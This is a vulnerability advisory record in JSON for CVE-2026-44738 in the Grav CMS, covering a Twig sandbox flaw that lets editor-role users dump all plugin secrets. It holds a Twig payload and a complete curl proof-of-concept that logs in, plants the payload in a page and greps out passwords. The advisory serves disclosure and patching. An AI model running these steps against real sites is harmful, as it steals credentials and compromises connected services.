{"id":"CVE-2026-44738","aliases":["GHSA-j274-39qw-32c9"],"url":"https://o3.security/vulnerability/CVE-2026-44738","summary":"Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()","details":"## Summary\n\nThe Twig sandbox allow-list permits any user with the `admin.pages` role to call `config.toArray()` from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.\n\n## Details\n\nThe Twig sandbox allow-list in `system/config/security.yaml` explicitly permits `Config::toArray()` for the `Grav\\Common\\Config\\Config` class:\n\n```yaml\n- class: 'Grav\\Common\\Config\\Config'\n  methods: 'get, toarray, value, default, offsetget, offsetexists'\n```\n\nThe `config` object — which holds the full merged configuration tree including every key under `plugins.*` — is injected into every sandboxed render in `system/src/Grav/Common/Twig/Twig.php` (line 292):\n\n```php\n$twig_vars = [..., 'config' => $config, ...]\n```\n\nAny editor with `admin.pages` can save a page with `process.twig: true` in the frontmatter and the following payload in the body:\n\n```\n{{ config.toArray()|json_encode|raw }}\n```\n\nWhen the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under `user/config/plugins/*.yaml`.\n\n## PoC\n\n```bash\n# Step 1 — Get login nonce\nNONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \\\n  | grep -oP '(?<=name=\"login-nonce\" value=\")[^\"]+')\n\n# Step 2 — Login as editor (no admin.super)\ncurl -sc /tmp/cookies.txt -b /tmp/cookies.txt \\\n  -X POST http://TARGET/admin \\\n  --data-urlencode \"data[username]=EDITOR_USER\" \\\n  --data-urlencode \"data[password]=EDITOR_PASS\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\" -o /dev/null\n\n# Step 3 — Get admin nonce\nADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \\\n  | grep -oP '(?<=admin-nonce\" value=\")[^\"]+' | head -1)\n\n# Step 4 — Save page with process.twig:true and payload\ncurl -s -b /tmp/cookies.txt \\\n  -X POST http://TARGET/admin/pages/poc \\\n  --data-urlencode \"admin-nonce=${ADMIN_NONCE}\" \\\n  --data-urlencode \"task=save\" \\\n  --data-urlencode \"data[frontmatter]=title: poc\nprocess:\n    twig: true\npublished: true\" \\\n  --data-urlencode \"data[content]={{ config.toArray()|json_encode|raw }}\" \\\n  --data-urlencode \"data[folder]=poc\" \\\n  --data-urlencode \"data[route]=/\" \\\n  --data-urlencode \"data[name]=default\" -o /dev/null\n\n# Step 5 — Retrieve secrets from rendered page\ncurl -s http://TARGET/poc | grep -o '\"password\":\"[^\"]*\"'\n```\n\n## Impact\n\nAny user with the editor role (`admin.pages`) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.","published":"2026-05-11T15:47:46.778Z","modified":"2026-08-12T03:51:15.816090926Z","cvss":{"score":7.7,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"},"epss":{"score":0.00276,"percentile":0.19392,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"getgrav/grav","fixedVersion":"2.0.0-rc.2"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44738.json"},{"type":"ADVISORY","url":"https://github.com/getgrav/grav/security/advisories/GHSA-j274-39qw-32c9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44738"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://github.com/getgrav/grav/releases/tag/2.0.0-rc.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:15.816090926Z"}}